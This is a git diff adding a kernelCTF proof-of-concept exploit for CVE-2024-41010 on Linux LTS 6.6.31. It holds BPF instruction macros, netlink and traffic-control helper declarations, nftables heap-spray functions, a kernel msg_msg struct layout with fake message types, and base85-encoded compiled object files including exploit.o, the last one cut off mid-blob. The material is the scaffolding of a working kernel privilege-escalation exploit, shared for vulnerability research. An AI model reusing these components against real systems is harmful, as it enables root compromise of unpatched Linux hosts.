DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +/* Short form of mov, dst_reg = imm32 */ + +#define BPF_MOV64_IMM(DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_MOV32_IMM(DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_MOV | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +/* BPF_LD_IMM64 macro encodes single 'load 64-bit immediate' insn */ +#define BPF_LD_IMM64(DST, IMM) \ + BPF_LD_IMM64_RAW(DST, 0, IMM) + +#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_LD | BPF_DW | BPF_IMM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = (__u32) (IMM) }), \ + ((struct bpf_insn) { \ + .code = 0, /* zero is reserved opcode */ \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = ((__u64) (IMM)) >> 32 }) + +#ifndef BPF_PSEUDO_MAP_FD +# define BPF_PSEUDO_MAP_FD 1 +#endif + +/* pseudo BPF_LD_IMM64 insn used to refer to process-local map_fd */ +#define BPF_LD_MAP_FD(DST, MAP_FD) \ + BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD) + + +/* Direct packet access, R0 = *(uint *) (skb->data + imm32) */ + +#define BPF_LD_ABS(SIZE, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +/* Memory load, dst_reg = *(uint *) (src_reg + off16) */ + +#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +/* Memory store, *(uint *) (dst_reg + off16) = src_reg */ + +#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + + +/* Atomic memory add, *(uint *)(dst_reg + off16) += src_reg */ + +#define BPF_STX_XADD(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_STX | BPF_SIZE(SIZE) | BPF_XADD, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +/* Memory store, *(uint *) (dst_reg + off16) = imm32 */ + +#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) + +/* + * Atomic operations: + * + * BPF_ADD *(uint *) (dst_reg + off16) += src_reg + * BPF_AND *(uint *) (dst_reg + off16) &= src_reg + * BPF_OR *(uint *) (dst_reg + off16) |= src_reg + * BPF_XOR *(uint *) (dst_reg + off16) ^= src_reg + * BPF_ADD | BPF_FETCH src_reg = atomic_fetch_add(dst_reg + off16, src_reg); + * BPF_AND | BPF_FETCH src_reg = atomic_fetch_and(dst_reg + off16, src_reg); + * BPF_OR | BPF_FETCH src_reg = atomic_fetch_or(dst_reg + off16, src_reg); + * BPF_XOR | BPF_FETCH src_reg = atomic_fetch_xor(dst_reg + off16, src_reg); + * BPF_XCHG src_reg = atomic_xchg(dst_reg + off16, src_reg) + * BPF_CMPXCHG r0 = atomic_cmpxchg(dst_reg + off16, r0, src_reg) + */ + +#define BPF_ATOMIC_OP(SIZE, OP, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_STX | BPF_SIZE(SIZE) | BPF_ATOMIC, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = OP }) + +/* Conditional jumps against registers, if (dst_reg 'op' src_reg) goto pc + off16 */ + +#define BPF_JMP_REG(OP, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_OP(OP) | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +/* Like BPF_JMP_REG, but with 32-bit wide operands for comparison. */ + +#define BPF_JMP32_REG(OP, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP32 | BPF_OP(OP) | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +/* Conditional jumps against immediates, if (dst_reg 'op' imm32) goto pc + off16 */ + +#define BPF_JMP_IMM(OP, DST, IMM, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) + +/* Like BPF_JMP_IMM, but with 32-bit wide operands for comparison. */ + +#define BPF_JMP32_IMM(OP, DST, IMM, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP32 | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) + +/* Function call */ + +#define BPF_EMIT_CALL(FUNC) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_CALL, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = (FUNC) }) + +/* Raw code statement block */ + +#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \ + ((struct bpf_insn) { \ + .code = CODE, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = IMM }) + +/* Program exit */ + +#define BPF_EXIT_INSN() \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_EXIT, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = 0 }) + +#endif diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/cls.h b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/cls.h new file mode 100644 index 00000000..99dc20f5 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/cls.h @@ -0,0 +1,74 @@ +#ifndef _CLASSIFIERS_H_ +#define _CLASSIFIERS_H_ + +#include + +#define TRIG_HOST "127.0.0.1" // 107.16.25.12 10.2.0.4 101.15.2.12 127.0.0.1 +#define TRIG_PORT 9999 +#define PORT_SERVER 9999 +#define ADDR_SERVER 0x6b10190c // 0x0a020004 0x6b10190c +#define ADDR_GW 0x6b1019ff + +#define ACT_INIT_SIZE NLA_ALIGN(sizeof(struct tc_connmark)+sizeof(struct nlattr)*2) +#define ACT_OPS_SIZE NLA_ALIGN(ACT_INIT_SIZE+sizeof(struct nlattr)*2 + NLA_ALIGN(9)) +#define ACT_SIZE NLA_ALIGN(ACT_OPS_SIZE+sizeof(struct nlattr)) +#define EXTS_SIZE NLA_ALIGN(ACT_SIZE+sizeof(struct nlattr)+sizeof(struct nlattr)*4+4*4) +#define CLS_SIZE NLA_ALIGN(sizeof(struct nlmsghdr)+sizeof(struct tcmsg) + sizeof(struct nlattr) + 8 + sizeof(struct nlattr) + 4 + EXTS_SIZE + 256) + +#define LINKDATA_SIZE NLA_ALIGN(sizeof(struct nlattr)*3 + 4*3) +#define LINKINFO_SIZE NLA_ALIGN(sizeof(struct nlattr) + 8) +#define LINK_SIZE NLA_ALIGN(sizeof(struct nlmsghdr) + sizeof(struct ifinfomsg)+ LINKINFO_SIZE + sizeof(struct nlattr) + 12 + 256) + +#define BUF_SIZE 10*(8192+4096) + +#define DSMARK_SIZE (NLA_ALIGN(sizeof(uint16_t) + sizeof(struct nlattr))*2 + sizeof(struct nlattr)) +#define QDISC_SIZE NLA_ALIGN(sizeof(struct nlmsghdr) + sizeof(struct tcmsg) + sizeof(struct nlattr) + NLA_ALIGN(10) + sizeof(struct nlattr) + 4 + DSMARK_SIZE + 256) + +#define ADDR_SIZE NLA_ALIGN(sizeof(struct nlmsghdr) + sizeof(struct ifaddrmsg) + sizeof(struct nlattr)*2 + 4*2 + 256) + +#define ADD_ROUTE NLA_ALIGN(sizeof(struct nlmsghdr) + sizeof(struct rtmsg) + sizeof(struct nlattr)*2 + 4*2 + 256) + +#define ADD_CLASS NLA_ALIGN(sizeof(struct nlmsghdr) + sizeof(struct rtmsg) + sizeof(struct nlattr)*2 + 4*2 + 256) + + +#define LINK_PROP_SIZE (LINK_SIZE - 276) +#define IFLA_PROP_LIST_SIZE NLA_ALIGN(sizeof(struct nlmsghdr) + sizeof(struct nlattr) + 128) + +/* Qdisc */ +void rt_newqdisc(int, unsigned int, unsigned int, unsigned int, char *); +void rt_delqdisc(int, unsigned int, unsigned int, unsigned int); + +/* Class */ +void rt_getclass(int, unsigned int, unsigned int, unsigned int); +void rt_addclass(int, unsigned int, unsigned int, unsigned int); +void rt_delclass(int, unsigned int, unsigned int, unsigned int); + +/* Filter */ +void rt_addfilter(int, unsigned int, unsigned int, unsigned int, unsigned int, char *, int); +void rt_getfilter(int, unsigned int, unsigned int, void *); +void rt_setfilter(int, unsigned int, char *); +void rt_delfilter(int, unsigned int, unsigned int, unsigned int, unsigned int, char *, int); +void start_echo_sv(); + +/* Chain */ +void rt_newchain(int, unsigned int, unsigned int, unsigned int); +void rt_delchain(int, unsigned int, unsigned int); + +/* rtnetlink */ +int rt_getlink(int, char*); +void rt_newlink(int, char*, unsigned int); +void rt_dellink(int, char*); +void rt_setlink(int, unsigned int); + +/* inet */ +void inet_newaddr(int, unsigned int, unsigned int, unsigned int); +void inet_deladdr(int, unsigned int, unsigned int, unsigned int); +void inet_dumpaddr(int, unsigned int); + +void rt_altifname(int, unsigned int, char *, int); + +/* route */ +void rt_addroute(int); +void rt_cloneroute(int, unsigned int); + +#endif /* _CLASSIFIERS_H_ */ diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/local_netlink.h b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/local_netlink.h new file mode 100644 index 00000000..aaaa84b1 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/local_netlink.h @@ -0,0 +1,30 @@ +#define _LOCAL_NETLINK_H_ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +void create_table(struct mnl_socket *, char *); +void create_set(struct mnl_socket *, char *, char*); +void create_obj(struct mnl_socket *, char *, char*); +void del_obj(struct mnl_socket *, char *, char*); +void get_obj( char *, char*); +void create_table_with_data(struct mnl_socket *, char *, void *, size_t); +char *dump_table(char *); +void delete_table(struct mnl_socket *, char *); + +void cleanup_spray_tables(struct mnl_socket *); +void tbl_append_name(char *); +char *generate_rnd_name(void); diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/log.h b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/log.h new file mode 100644 index 00000000..e5d32295 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/log.h @@ -0,0 +1,12 @@ +#ifndef _LOG_H_ +#define _LOG_H_ + +#include +#include + + +#define errout(msg) do {perror("[-] " msg); exit(EXIT_FAILURE); } while(0) + +void hexdump(void *, unsigned int ); + +#endif /* _LOG_H_ */ \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/msg_msg.h b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/msg_msg.h new file mode 100644 index 00000000..cb583061 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/msg_msg.h @@ -0,0 +1,32 @@ +#ifndef _MSG_H_ +#define _MSG_H_ + +#include +#include + +#define MTYPE_PRIMARY 0x41 +#define MTYPE_SECONDARY 0x42 +#define MTYPE_FAKE 0x43 + +typedef struct +{ + long mtype; + char mtext[0]; +} msg_t; + +struct list_head +{ + struct list_head *next, *prev; +}; + +struct msg_msg +{ + struct list_head m_list; + long m_type; + size_t m_ts; /* message text size */ + uint64_t next; + uint64_t security; + uint8_t text[0]; +}; + +#endif \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/rtnetlink.h b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/rtnetlink.h new file mode 100644 index 00000000..cd0e49bd --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/rtnetlink.h @@ -0,0 +1,26 @@ +#ifndef _RTNETLINK_H_ +#define _RTNETLINK_H_ + +#include +#include + +#define NETLINK_RECEIVE_BUFFER_SIZE 4096 +#define NLA_BIN_SIZE(x) (sizeof(struct nlattr) + x) +#define NLA_ATTR(attr) ((void *)attr + NLA_HDRLEN) + + +/* Netlink attributes */ +struct nlattr *set_str8_attr(struct nlattr *, uint16_t, char *); +struct nlattr *set_str_attr(struct nlattr *, uint16_t, char *); +struct nlattr *set_strn_attr(struct nlattr *, uint16_t, char *, int); +struct nlattr *set_binary_attr(struct nlattr *, uint16_t, uint8_t *, uint64_t); +struct nlattr *set_nested_attr(struct nlattr *, uint16_t, uint16_t); +struct nlattr *set_u32_attr(struct nlattr *, uint16_t, uint32_t); +struct nlattr *set_u32_attr_nat(struct nlattr *, uint16_t, uint32_t); +struct nlattr *set_u16_attr(struct nlattr *, uint16_t, uint16_t); +struct nlattr *set_u8_attr(struct nlattr *, uint16_t, uint8_t); +struct nlattr *set_u64_attr(struct nlattr *, uint16_t, uint64_t); +struct nlattr *set_flag_attr(struct nlattr *, uint16_t); + + +#endif /* _RTNETLINK_H_ */ \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/setup.h b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/setup.h new file mode 100644 index 00000000..c5172130 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/setup.h @@ -0,0 +1,13 @@ +#ifndef _SETUP_H_ +#define _SETUP_H_ + +#include +#include + +#define DEF_CORE 0 + +void assign_to_core(int core_id); +int setup_sandbox(void); + + +#endif /* _SETUP_H_ */ \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/bpf.o b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/bpf.o new file mode 100644 index 0000000000000000000000000000000000000000..936f68febe636f97a2de3f484425f2d28ccfbbbe GIT binary patch literal 2528 zcmbtV-)kII6u!Gn?26lUl}H0snTM%t(2SW7L1ti7VO7uCud{ z)M8T*afp#V2>K*>6#L?%ed&bjBFb7$sS zb7?W3%L$E~cugG7G%LjAM~?NXRI8#SPKm?EpS{2ACBNO;1)2Qmj&9fB{u3?Uzr)4a zN-g>Q*3+1K*MGSIvF`0noUL%4d}@CV>5jbptM+sf+f&|tY!@0y!!94*bdS6r^H`pc zrVYCwgVvI}N26iU+kX{wx{tS)###5CPXou3($u?tm-{u6d$mhODi%1TasYuX5ea*9 z-{}Vu`v%MI={3fnFrIF_VBR0WW}!hQ#N!Slg)vQqO(B`-+^FtEXaSI3%esT zI8G=%?%r3n+IULV_qYt)=gwMxqw@OlqJN>b?AI?gYb(teVREa>4RC&Qsd-^Wh;#M& zD^_K7ZMYQ=E!TAxoVi(dD5vfx^YhN!!i=I38(^2p7?T+1-dq)^*ofQ-3}Px3B6sDY z$ZeN%XNo5aH*gg4yd1(RLN6Jy?xlhTlrPJO=rfcyK`0iVCiX(-O{7 zeU1;8b1~Q%w1Q4Ybc4R%iozfcML&$9UL<^f5C^SIzt!IKH-ZmSlVN|ICbaJKdYi*O z!k%VqfOmwSmOqYCbVvf^SxwDfAqntJBhkt zWE`ckt+goZ1Wp`o$HGB_0^zI;2EvJYoY35LT;a5O-EO!AldWDHI(W5bWrx-LgRP;{ zk9z2SyaQJT4BP%j6m&zC(Ek(`{8>8V_ah@#tMUV`c^=Hg%@9A%;`}Z~{2D0_ze`1{fJ(d5* JhA-8u|6e!vUPk}` literal 0 HcmV?d00001 diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/cls.o b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/cls.o new file mode 100644 index 0000000000000000000000000000000000000000..53c099d6e578efb8286a835209154dd99bfba4ae GIT binary patch literal 20752 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 literal 0 HcmV?d00001 diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/exploit.o b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/exploit.o new file mode 100644 index 0000000000000000000000000000000000000000..08f4dbd53e22c6d61f1800f27f0ad5cbf0db69be GIT binary patch literal 27592 zcmbt-3w%`7wf;#05)me-QDa3N?O;PSArk^5J}?6loam?!c`53c$Ak=dIu8u>m6$|1 z#vppF+7^4M@8{LF_DWKOSb5e`sd^QQ53aomh!qtdRMFgTt-a4=%}I{!{r|VW$vN|# zZ>_!7+H1egoP#%(1!twFr5RR9Go~AZ-z?NHmM5Z%sQboitFZYZ$8$6z` zzVPGV_Cw-JI_;U+*(Al!ITa!-?UWJJ0-f{gF7k#C!=Z7Wh%!m=r&Az5T4u-yQUf(e-!r zw^o`T`^^u{%|3I7-~2St)8NVWnH!kt?e8VS1Lpn%PiO(SnvGgA_)eFK*F9R~*z z4sC31_M7i5445Co)xF0I3=B|{&gsiM%rMqb>Tx5ob>E}pGG&ALX&Ksx(x(qyz*t9r z_I`Fq=|s$O`v4dzvC5%rM^u#m$hVwfnj)9go1gjC)Ii?5RVi-!Rx5sC{~6x?_WcJ3 zvW$*_!?Nz~SJuq)e(9TAZXVL9GLOjP$)`@8xRhx6$(Y5PX;30&-+>!BRW=3YM7kqS7!bOWxV!1+?_g^U;(C{{>nilIts z?x{e=5MplR%KB)e3G_^1Xg@>WmsW`VICFo%{EV5V763Y?kIX?=vQ)G_-+=+hcqT1z zxOad-LD}5U{IZHm$}hfXqA~pCiiM$y z@{7*XmmwOC=lW)al<-8Op_%2XB26_CR=S#M;?232Ts-rFP=#+niUw!Ue_n;}!imPD zmS}VJq}a09r225QDcmrrvAG6NRhX-5ZV5N#T8L6iHAcgg$VYUU0cN#CS`6v6sz1|R&^n=Yv{4g{vLsg$ zZBE3M?rWkEeMWH&$6G2R;6ZVHV`W1_b9G+z;=C!|LU*jbDpBihsjR7qG%aRDESamM 